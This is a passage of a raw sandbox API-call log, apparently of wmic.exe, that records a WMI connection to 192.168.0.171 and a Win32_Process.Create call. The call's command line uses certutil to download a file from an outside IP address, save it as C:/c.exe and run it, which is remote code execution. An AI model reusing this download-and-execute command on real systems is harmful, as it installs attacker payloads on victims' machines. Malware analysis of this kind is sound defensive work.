returned 0x963890 [0100.885] malloc (_Size=0x38) returned 0x963c78 [0100.885] malloc (_Size=0x24) returned 0x9630e0 [0100.885] malloc (_Size=0x24) returned 0x963110 [0100.885] malloc (_Size=0x4) returned 0x9638a0 [0100.885] malloc (_Size=0x28) returned 0x963140 [0100.885] malloc (_Size=0x38) returned 0x963cd0 [0100.885] malloc (_Size=0x38) returned 0x963d10 [0100.885] malloc (_Size=0x24) returned 0x963170 [0100.885] malloc (_Size=0x24) returned 0x9631a0 [0100.885] malloc (_Size=0x4) returned 0x9638b0 [0100.885] malloc (_Size=0x38) returned 0x963d50 [0100.885] malloc (_Size=0x24) returned 0x9631d0 [0100.885] malloc (_Size=0x24) returned 0x963200 [0100.885] malloc (_Size=0x4) returned 0x9638c0 [0100.885] malloc (_Size=0x38) returned 0x963d90 [0100.885] malloc (_Size=0x24) returned 0x963230 [0100.885] malloc (_Size=0x24) returned 0x963260 [0100.885] malloc (_Size=0x4) returned 0x9638d0 [0100.885] malloc (_Size=0x38) returned 0x963dd0 [0100.885] malloc (_Size=0x24) returned 0x963290 [0100.886] malloc (_Size=0x24) returned 0x9632c0 [0100.886] malloc (_Size=0x4) returned 0x9638e0 [0100.886] free (_Block=0x963890) [0100.886] free (_Block=0x9630b0) [0100.886] free (_Block=0x963080) [0100.886] free (_Block=0x963838) [0100.886] free (_Block=0x9638a0) [0100.886] free (_Block=0x963110) [0100.886] free (_Block=0x9630e0) [0100.886] free (_Block=0x963c78) [0100.886] free (_Block=0x9637d8) [0100.886] free (_Block=0x962ff0) [0100.886] free (_Block=0x962fc0) [0100.886] free (_Block=0x963798) [0100.886] free (_Block=0x963828) [0100.886] free (_Block=0x963050) [0100.886] free (_Block=0x963020) [0100.886] free (_Block=0x9637e8) [0100.886] free (_Block=0x963758) [0100.886] free (_Block=0x1bffc8) [0100.886] free (_Block=0x962f30) [0100.886] free (_Block=0x962ee8) [0100.886] free (_Block=0x962ea8) [0100.886] free (_Block=0x1bffd8) [0100.886] free (_Block=0x962f90) [0100.886] free (_Block=0x962f60) [0100.886] free (_Block=0x963718) [0100.886] free (_Block=0x962b48) [0100.886] free (_Block=0x962dd8) [0100.886] free (_Block=0x962b18) [0100.886] free (_Block=0x962ad8) [0100.886] free (_Block=0x1b2cc0) [0100.886] free (_Block=0x962e78) [0100.887] free (_Block=0x962e48) [0100.887] free (_Block=0x962e08) [0100.887] free (_Block=0x962a98) [0100.887] free (_Block=0x1b2cb0) [0100.887] free (_Block=0x962d08) [0100.887] free (_Block=0x962cd8) [0100.887] free (_Block=0x962c98) [0100.887] free (_Block=0x1b2c58) [0100.887] free (_Block=0x962da8) [0100.887] free (_Block=0x962d78) [0100.887] free (_Block=0x962d38) [0100.887] free (_Block=0x1b2c48) [0100.887] free (_Block=0x962c68) [0100.887] free (_Block=0x962c38) [0100.887] free (_Block=0x962bf8) [0100.887] free (_Block=0x962930) [0100.887] free (_Block=0x962bc8) [0100.887] free (_Block=0x962b98) [0100.887] free (_Block=0x962b58) [0100.887] free (_Block=0x962a58) [0100.887] IUnknown:Release (This=0xa936e8) returned 0x1 [0100.887] IUnknown:Release (This=0xa90890) returned 0x0 [0100.887] free (_Block=0x962580) [0100.887] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0100.887] free (_Block=0x962520) [0100.887] lstrlenW (lpString="Create") returned 6 [0100.887] malloc (_Size=0xe) returned 0x962520 [0100.887] lstrlenW (lpString="Create") returned 6 [0100.887] lstrlenW (lpString="/") returned 1 [0100.887] lstrlenW (lpString="cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe") returned 98 [0100.887] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe", cchCount1=98, lpString2="/", cchCount2=1) returned 3 [0100.887] lstrlenW (lpString="-") returned 1 [0100.888] lstrlenW (lpString="cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe") returned 98 [0100.888] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe", cchCount1=98, lpString2="-", cchCount2=1) returned 3 [0100.888] lstrlenW (lpString="cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe") returned 98 [0100.888] malloc (_Size=0xc6) returned 0x963718 [0100.888] lstrlenW (lpString="cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe") returned 98 [0100.888] malloc (_Size=0x4) returned 0x9638a0 [0100.888] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0100.888] malloc (_Size=0x38) returned 0x963e10 [0100.888] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0100.888] wcstok (in: _String="Select * from Win32_Process", _Delimiter=" ", _Context=0xc7d2623 | out: _String="Select", _Context=0xc7d2623) returned="Select" [0100.888] malloc (_Size=0xc) returned 0x962580 [0100.888] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xc7d2623 | out: _String=0x0, _Context=0xc7d2623) returned="*" [0100.888] lstrlenW (lpString="FROM") returned 4 [0100.888] lstrlenW (lpString="*") returned 1 [0100.888] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0100.888] malloc (_Size=0xc) returned 0x962718 [0100.888] free (_Block=0x962580) [0100.888] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xc7d2623 | out: _String=0x0, _Context=0xc7d2623) returned="from" [0100.888] lstrlenW (lpString="FROM") returned 4 [0100.888] lstrlenW (lpString="from") returned 4 [0100.888] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0100.888] malloc (_Size=0xc) returned 0x962580 [0100.888] free (_Block=0x962718) [0100.888] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xc7d2623 | out: _String=0x0, _Context=0xc7d2623) returned="Win32_Process" [0100.888] malloc (_Size=0xc) returned 0x962718 [0100.888] free (_Block=0x962580) [0100.889] free (_Block=0x963e10) [0100.889] free (_Block=0x962718) [0100.889] lstrlenW (lpString="SET") returned 3 [0100.889] lstrlenW (lpString="call") returned 4 [0100.889] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="SET", cchCount2=3) returned 1 [0100.889] lstrlenW (lpString="CREATE") returned 6 [0100.889] lstrlenW (lpString="call") returned 4 [0100.889] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="CREATE", cchCount2=6) returned 1 [0100.889] free (_Block=0x962870) [0100.889] malloc (_Size=0x8) returned 0x963890 [0100.889] lstrlenW (lpString="GET") returned 3 [0100.889] lstrlenW (lpString="call") returned 4 [0100.889] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="GET", cchCount2=3) returned 1 [0100.889] lstrlenW (lpString="LIST") returned 4 [0100.889] lstrlenW (lpString="call") returned 4 [0100.889] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="LIST", cchCount2=4) returned 1 [0100.889] lstrlenW (lpString="ASSOC") returned 5 [0100.889] lstrlenW (lpString="call") returned 4 [0100.889] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="ASSOC", cchCount2=5) returned 3 [0100.889] WbemLocator:IUnknown:AddRef (This=0xa60828) returned 0x3 [0100.889] free (_Block=0x1beb88) [0100.889] lstrlenW (lpString="") returned 0 [0100.889] lstrlenW (lpString="192.168.0.171") returned 13 [0100.889] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="192.168.0.171", cchCount1=13, lpString2="", cchCount2=0) returned 3 [0100.889] lstrlenW (lpString="192.168.0.171") returned 13 [0100.889] malloc (_Size=0x1c) returned 0x962870 [0100.889] lstrlenW (lpString="192.168.0.171") returned 13 [0100.889] GetCurrentThreadId () returned 0x1040 [0100.889] GetCurrentProcess () returned 0xffffffff [0100.889] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x12fcc0 | out: TokenHandle=0x12fcc0*=0x290) returned 1 [0100.889] GetTokenInformation (in: TokenHandle=0x290, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x12fcbc | out: TokenInformation=0x0, ReturnLength=0x12fcbc) returned 0 [0100.889] malloc (_Size=0x118) returned 0x964cb8 [0100.889] GetTokenInformation (in: TokenHandle=0x290, TokenInformationClass=0x3, TokenInformation=0x964cb8, TokenInformationLength=0x118, ReturnLength=0x12fcbc | out: TokenInformation=0x964cb8, ReturnLength=0x12fcbc) returned 1 [0100.890] AdjustTokenPrivileges (in: TokenHandle=0x290, DisableAllPrivileges=0, NewState=0x964cb8*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0100.890] free (_Block=0x964cb8) [0100.890] CloseHandle (hObject=0x290) returned 1 [0100.937] lstrlenW (lpString="GET") returned 3 [0100.937] lstrlenW (lpString="call") returned 4 [0100.937] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="GET", cchCount2=3) returned 1 [0100.937] lstrlenW (lpString="LIST") returned 4 [0100.937] lstrlenW (lpString="call") returned 4 [0100.937] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="LIST", cchCount2=4) returned 1 [0100.937] lstrlenW (lpString="SET") returned 3 [0100.937] lstrlenW (lpString="call") returned 4 [0100.937] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="SET", cchCount2=3) returned 1 [0100.938] lstrlenW (lpString="CALL") returned 4 [0100.938] lstrlenW (lpString="call") returned 4 [0100.938] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="CALL", cchCount2=4) returned 2 [0100.938] ??0CHString@@QAE@XZ () returned 0x12fc84 [0100.938] GetCurrentThreadId () returned 0x1040 [0100.938] malloc (_Size=0xc) returned 0x962718 [0100.938] malloc (_Size=0xc) returned 0x962580 [0100.938] malloc (_Size=0xc) returned 0x962730 [0100.938] malloc (_Size=0xc) returned 0x962748 [0100.938] malloc (_Size=0xc) returned 0x962760 [0100.938] SysStringLen (param_1="\\\\") returned 0x2 [0100.938] SysStringLen (param_1="192.168.0.171") returned 0xd [0100.938] malloc (_Size=0xc) returned 0x962778 [0100.938] SysStringLen (param_1="\\\\192.168.0.171") returned 0xf [0100.938] SysStringLen (param_1="\\") returned 0x1 [0100.938] malloc (_Size=0xc) returned 0x962790 [0100.938] SysStringLen (param_1="\\\\192.168.0.171\\") returned 0x10 [0100.938] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0100.938] free (_Block=0x962778) [0100.938] free (_Block=0x962760) [0100.938] free (_Block=0x962748) [0100.939] free (_Block=0x962730) [0100.939] free (_Block=0x962580) [0100.939] free (_Block=0x962718) [0100.939] malloc (_Size=0xc) returned 0x962718 [0100.939] malloc (_Size=0xc) returned 0x962580 [0100.939] malloc (_Size=0xc) returned 0x962730 [0100.939] WbemLocator:IWbemLocator:ConnectServer (in: This=0xa60828, strNetworkResource="\\\\192.168.0.171\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xe9c204 | out: ppNamespace=0xe9c204*=0xa6d0bc) returned 0x0 [0101.300] free (_Block=0x962730) [0101.300] free (_Block=0x962580) [0101.300] free (_Block=0x962718) [0101.300] CoSetProxyBlanket (pProxy=0xa6d0bc, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0101.300] free (_Block=0x962790) [0101.300] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0101.302] ??0CHString@@QAE@XZ () returned 0x12fc80 [0101.302] GetCurrentThreadId () returned 0x1040 [0101.302] malloc (_Size=0x38) returned 0x963e10 [0101.302] malloc (_Size=0x28) returned 0x962f60 [0101.302] malloc (_Size=0x28) returned 0x962f90 [0101.302] malloc (_Size=0x38) returned 0x963e50 [0101.302] malloc (_Size=0x38) returned 0x963e90 [0101.302] malloc (_Size=0x24) returned 0x962f30 [0101.302] malloc (_Size=0x24) returned 0x963020 [0101.302] malloc (_Size=0x4) returned 0x9638f0 [0101.302] malloc (_Size=0x38) returned 0x963ed0 [0101.302] malloc (_Size=0x24) returned 0x963050 [0101.302] malloc (_Size=0x24) returned 0x962fc0 [0101.302] malloc (_Size=0x4) returned 0x963900 [0101.302] malloc (_Size=0x38) returned 0x963f10 [0101.302] malloc (_Size=0x24) returned 0x962ff0 [0101.302] malloc (_Size=0x24) returned 0x9630e0 [0101.302] malloc (_Size=0x4) returned 0x963910 [0101.302] malloc (_Size=0x38) returned 0x963f50 [0101.303] malloc (_Size=0x24) returned 0x963110 [0101.303] malloc (_Size=0x24) returned 0x963080 [0101.303] malloc (_Size=0x4) returned 0x963920 [0101.303] malloc (_Size=0xc) returned 0x962790 [0101.303] lstrlenA (lpString="") returned 0 [0101.303] malloc (_Size=0x2) returned 0x963930 [0101.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe526a2, cbMultiByte=-1, lpWideCharStr=0x963930, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0101.303] free (_Block=0x963930) [0101.303] malloc (_Size=0x38) returned 0x963f90 [0101.303] malloc (_Size=0x24) returned 0x9630b0 [0101.303] malloc (_Size=0x24) returned 0x9632f0 [0101.303] malloc (_Size=0x4) returned 0x963930 [0101.303] malloc (_Size=0x38) returned 0x963fd0 [0101.303] malloc (_Size=0x24) returned 0x963320 [0101.303] malloc (_Size=0x24) returned 0x963350 [0101.303] malloc (_Size=0x4) returned 0x963940 [0101.303] malloc (_Size=0x38) returned 0x964010 [0101.303] malloc (_Size=0x24) returned 0x963380 [0101.303] malloc (_Size=0x24) returned 0x9633b0 [0101.303] malloc (_Size=0x4) returned 0x963950 [0101.303] malloc (_Size=0x38) returned 0x964050 [0101.303] malloc (_Size=0x24) returned 0x9633e0 [0101.303] malloc (_Size=0x24) returned 0x963410 [0101.303] malloc (_Size=0x4) returned 0x963960 [0101.303] malloc (_Size=0x38) returned 0x964090 [0101.303] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0101.303] wcstok (in: _String="Select * from Win32_Process", _Delimiter=" ", _Context=0xc7d21ef | out: _String="Select", _Context=0xc7d21ef) returned="Select" [0101.303] malloc (_Size=0xc) returned 0x962718 [0101.303] free (_Block=0x962790) [0101.303] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xc7d21ef | out: _String=0x0, _Context=0xc7d21ef) returned="*" [0101.304] lstrlenW (lpString="FROM") returned 4 [0101.304] lstrlenW (lpString="*") returned 1 [0101.304] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0101.304] malloc (_Size=0xc) returned 0x962790 [0101.304] free (_Block=0x962718) [0101.304] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xc7d21ef | out: _String=0x0, _Context=0xc7d21ef) returned="from" [0101.304] lstrlenW (lpString="FROM") returned 4 [0101.304] lstrlenW (lpString="from") returned 4 [0101.304] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0101.304] malloc (_Size=0xc) returned 0x962718 [0101.304] free (_Block=0x962790) [0101.304] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xc7d21ef | out: _String=0x0, _Context=0xc7d21ef) returned="Win32_Process" [0101.304] malloc (_Size=0xc) returned 0x962790 [0101.304] free (_Block=0x962718) [0101.304] free (_Block=0x964090) [0101.304] IWbemServices:GetObject (in: This=0xa6d0bc, strObjectPath="Win32_Process", lFlags=131072, pCtx=0x0, ppObject=0x12fc5c*=0x0, ppCallResult=0x0 | out: ppObject=0x12fc5c*=0xa7f200, ppCallResult=0x0) returned 0x0 [0101.426] malloc (_Size=0xc) returned 0x962718 [0101.426] IWbemClassObject:GetMethod (in: This=0xa7f200, wszName="Create", lFlags=0, ppInSignature=0x12fc74, ppOutSignature=0x12fc54 | out: ppInSignature=0x12fc74*=0xa80820, ppOutSignature=0x12fc54*=0xa80fa0) returned 0x0 [0101.426] free (_Block=0x962718) [0101.426] IWbemClassObject:SpawnInstance (in: This=0xa80820, lFlags=0, ppNewInstance=0x12fc6c | out: ppNewInstance=0x12fc6c*=0xa81198) returned 0x0 [0101.426] malloc (_Size=0x4) returned 0x963970 [0101.426] malloc (_Size=0x18) returned 0x1beb88 [0101.426] IWbemClassObject:GetNames (in: This=0xa80820, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x0, pNames=0x12fc7c | out: pNames=0x12fc7c*="\x01ƀ\x04") returned 0x0 [0101.427] SafeArrayGetLBound (in: psa=0x637868, nDim=0x1, plLbound=0x12fc3c | out: plLbound=0x12fc3c) returned 0x0 [0101.427] SafeArrayGetUBound (in: psa=0x637868, nDim=0x1, plUbound=0x12fc40 | out: plUbound=0x12fc40) returned 0x0 [0101.427] SafeArrayGetElement (in: psa=0x637868, rgIndices=0x12fc60, pv=0x12fc84 | out: pv=0x12fc84) returned 0x0 [0101.427] malloc (_Size=0x24) returned 0x963440 [0101.427] IWbemClassObject:GetPropertyQualifierSet (in: This=0xa81198, wszProperty="CommandLine", ppQualSet=0x12fb50 | out: ppQualSet=0x12fb50*=0xa6c6c8) returned 0x0 [0101.427] malloc (_Size=0xc) returned 0x962718 [0101.427] IWbemQualifierSet:Get (in: This=0xa6c6c8, wszName="CIMTYPE", lFlags=0, pVal=0x12faf4*(varType=0x0, wReserved1=0x0, wReserved2=0x7e80, wReserved3=0xe5, varVal1=0xc7d21bb, varVal2=0xe530b0), plFlavor=0x0 | out: pVal=0x12faf4*(varType=0x8, wReserved1=0x0, wReserved2=0x7e80, wReserved3=0xe5, varVal1="string", varVal2=0xe530b0), plFlavor=0x0) returned 0x0 [0101.427] free (_Block=0x962718) [0101.427] malloc (_Size=0xc) returned 0x962718 [0101.428] IWbemClassObject:Get (in: This=0xa81198, wszName="CommandLine", lFlags=0, pVal=0x12fad0*(varType=0x0, wReserved1=0xebc, wReserved2=0xfaec, wReserved3=0x12, varVal1=0xe57764, varVal2=0x24), pType=0x12fb04*=1244072, plFlavor=0x0 | out: pVal=0x12fad0*(varType=0x1, wReserved1=0xebc, wReserved2=0xfaec, wReserved3=0x12, varVal1=0xe57764, varVal2=0x24), pType=0x12fb04*=8, plFlavor=0x0) returned 0x0 [0101.428] malloc (_Size=0xc) returned 0x962580 [0101.428] IWbemQualifierSet:Get (in: This=0xa6c6c8, wszName="read", lFlags=0, pVal=0x12fb08*(varType=0x0, wReserved1=0x0, wReserved2=0x3440, wReserved3=0x96, varVal1=0x12fafc, varVal2=0x12fb44), plFlavor=0x0 | out: pVal=0x12fb08*(varType=0x0, wReserved1=0x0, wReserved2=0x3440, wReserved3=0x96, varVal1=0x12fafc, varVal2=0x12fb44), plFlavor=0x0) returned 0x80041002 [0101.428] free (_Block=0x962580) [0101.428] malloc (_Size=0xc) returned 0x962580 [0101.428] IWbemQualifierSet:Get (in: This=0xa6c6c8, wszName="write", lFlags=0, pVal=0x12fb08*(varType=0x0, wReserved1=0x0, wReserved2=0x3440, wReserved3=0x96, varVal1=0x12fafc, varVal2=0x12fb44), plFlavor=0x0 | out: pVal=0x12fb08*(varType=0x0, wReserved1=0x0, wReserved2=0x3440, wReserved3=0x96, varVal1=0x12fafc, varVal2=0x12fb44), plFlavor=0x0) returned 0x80041002 [0101.428] free (_Block=0x962580) [0101.428] malloc (_Size=0xc) returned 0x962580 [0101.428] malloc (_Size=0xc) returned 0x962730 [0101.428] IWbemQualifierSet:Get (in: This=0xa6c6c8, wszName="Description", lFlags=0, pVal=0x12fae4*(varType=0x0, wReserved1=0x0, wReserved2=0x20, wReserved3=0x0, varVal1=0x12fb20, varVal2=0xe57e52), plFlavor=0x0 | out: pVal=0x12fae4*(varType=0x0, wReserved1=0x0, wReserved2=0x20, wReserved3=0x0, varVal1=0x12fb20, varVal2=0xe57e52), plFlavor=0x0) returned 0x80041002 [0101.428] free (_Block=0x962730) [0101.428] malloc (_Size=0xc) returned 0x962730 [0101.428] lstrlenA (lpString="Not Available") returned 13 [0101.428] malloc (_Size=0x1c) returned 0x963850 [0101.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe529a8, cbMultiByte=-1, lpWideCharStr=0x963850, cchWideChar=14 | out: lpWideCharStr="Not Available") returned 14 [0101.428] free (_Block=0x963850) [0101.428] IUnknown:Release (This=0xa6c6c8) returned 0x0 [0101.428] malloc (_Size=0x38) returned 0x964090 [0101.428] malloc (_Size=0x38) returned 0x9640d0 [0101.428] malloc (_Size=0x24) returned 0x963470 [0101.428] malloc (_Size=0x24) returned 0x9634a0 [0101.428] malloc (_Size=0x4) returned 0x963980 [0101.428] malloc (_Size=0x38) returned 0x964110 [0101.428] malloc (_Size=0x24) returned 0x9634d0 [0101.428] malloc (_Size=0x24) returned 0x963500 [0101.428] malloc (_Size=0x4) returned 0x963990 [0101.429] malloc (_Size=0x38) returned 0x964150 [0101.429] malloc (_Size=0x24) returned 0x963530 [0101.429] malloc (_Size=0x24) returned 0x963560 [0101.429] malloc (_Size=0x4) returned 0x9639a0 [0101.429] malloc (_Size=0x38) returned 0x964190 [0101.429] malloc (_Size=0x24) returned 0x963590 [0101.429] malloc (_Size=0x24) returned 0x9635c0 [0101.429] malloc (_Size=0x4) returned 0x9639b0 [0101.429] malloc (_Size=0xc) returned 0x962748 [0101.429] malloc (_Size=0x24) returned 0x9635f0 [0101.429] lstrlenW (lpString="CommandLine") returned 11 [0101.429] lstrlenW (lpString="CommandLine") returned 11 [0101.429] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CommandLine", cchCount1=11, lpString2="CommandLine", cchCount2=11) returned 2 [0101.429] malloc (_Size=0x24) returned 0x963620 [0101.429] malloc (_Size=0x4) returned 0x9639c0 [0101.429] malloc (_Size=0xc) returned 0x962760 [0101.429] SysStringLen (param_1="In") returned 0x2 [0101.429] SysStringLen (param_1="MaxLen") returned 0x6 [0101.429] free (_Block=0x962760) [0101.429] lstrlenW (lpString="") returned 0 [0101.429] lstrlenW (lpString="STRING") returned 6 [0101.429] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="STRING", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0101.429] lstrlenW (lpString="string") returned 6 [0101.429] lstrlenW (lpString="STRING") returned 6 [0101.429] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="STRING", cchCount1=6, lpString2="string", cchCount2=6) returned 2 [0101.429] malloc (_Size=0xc) returned 0x962760 [0101.429] SysStringLen (param_1="In") returned 0x2 [0101.429] SysStringLen (param_1="ValueMap") returned 0x8 [0101.429] free (_Block=0x962760) [0101.429] malloc (_Size=0xc) returned 0x962760 [0101.430] SysStringLen (param_1="In") returned 0x2 [0101.430] SysStringLen (param_1="Values") returned 0x6 [0101.430] free (_Block=0x962760) [0101.430] free (_Block=0x9639c0) [0101.430] free (_Block=0x963620) [0101.430] free (_Block=0x9635f0) [0101.430] free (_Block=0x962748) [0101.430] free (_Block=0x9639a0) [0101.430] free (_Block=0x963560) [0101.430] free (_Block=0x963530) [0101.430] free (_Block=0x964150) [0101.430] free (_Block=0x9639b0) [0101.430] free (_Block=0x9635c0) [0101.430] free (_Block=0x963590) [0101.430] free (_Block=0x964190) [0101.430] free (_Block=0x963980) [0101.430] free (_Block=0x9634a0) [0101.430] free (_Block=0x963470) [0101.430] free (_Block=0x9640d0) [0101.430] free (_Block=0x963990) [0101.430] free (_Block=0x963500) [0101.430] free (_Block=0x9634d0) [0101.430] free (_Block=0x964110) [0101.430] free (_Block=0x964090) [0101.430] IWbemClassObject:GetPropertyQualifierSet (in: This=0xa81198, wszProperty="CommandLine", ppQualSet=0x12fb5c | out: ppQualSet=0x12fb5c*=0xa6c6c8) returned 0x0 [0101.430] malloc (_Size=0xc) returned 0x962748 [0101.430] IWbemQualifierSet:Get (in: This=0xa6c6c8, wszName="CIMTYPE", lFlags=0, pVal=0x12fb44*(varType=0x0, wReserved1=0x0, wReserved2=0x21c7, wReserved3=0xc7d, varVal1=0x12f8d0, varVal2=0x12fc90), plFlavor=0x0 | out: pVal=0x12fb44*(varType=0x8, wReserved1=0x0, wReserved2=0x21c7, wReserved3=0xc7d, varVal1="string", varVal2=0x12fc90), plFlavor=0x0) returned 0x0 [0101.430] free (_Block=0x962748) [0101.431] IWbemClassObject:Get (in: This=0xa81198, wszName="CommandLine", lFlags=0, pVal=0x12fb34*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12fb54*=15271712, plFlavor=0x0 | out: pVal=0x12fb34*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12fb54*=8, plFlavor=0x0) returned 0x0 [0101.431] IUnknown:Release (This=0xa6c6c8) returned 0x0 [0101.431] lstrlenW (lpString="string") returned 6 [0101.431] lstrlenW (lpString="string") returned 6 [0101.431] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="string", cchCount1=6, lpString2="string", cchCount2=6) returned 2 [0101.431] IWbemClassObject:Put (This=0xa81198, wszName="CommandLine", lFlags=0, pVal=0x12fc10*(varType=0x8, wReserved1=0x65, wReserved2=0x6, wReserved3=0x0, varVal1="cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe", varVal2=0x6), Type=0) returned 0x0 [0101.431] free (_Block=0x963440) [0101.431] free (_Block=0x962580) [0101.431] free (_Block=0x962718) [0101.431] free (_Block=0x962730) [0101.431] free (_Block=0x1beb88) [0101.431] free (_Block=0x963970) [0101.431] IUnknown:Release (This=0xa80820) returned 0x0 [0101.431] IUnknown:Release (This=0xa80fa0) returned 0x0 [0101.431] IUnknown:Release (This=0xa7f200) returned 0x0 [0101.431] ??0CHString@@QAE@XZ () returned 0x12fb4c [0101.431] GetCurrentThreadId () returned 0x1040 [0101.431] malloc (_Size=0xc) returned 0x962730 [0101.431] lstrlenA (lpString="") returned 0 [0101.431] malloc (_Size=0x2) returned 0x963970 [0101.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe526a2, cbMultiByte=-1, lpWideCharStr=0x963970, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0101.431] free (_Block=0x963970) [0101.431] malloc (_Size=0xc) returned 0x962718 [0101.431] lstrlenA (lpString="") returned 0 [0101.432] malloc (_Size=0x2) returned 0x963970 [0101.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe526a2, cbMultiByte=-1, lpWideCharStr=0x963970, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0101.432] free (_Block=0x963970) [0101.432] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0101.432] malloc (_Size=0x38) returned 0x964090 [0101.432] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0101.432] wcstok (in: _String="Select * from Win32_Process", _Delimiter=" ", _Context=0xc7d2073 | out: _String="Select", _Context=0xc7d2073) returned="Select" [0101.432] malloc (_Size=0xc) returned 0x962580 [0101.432] free (_Block=0x962718) [0101.432] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xc7d2073 | out: 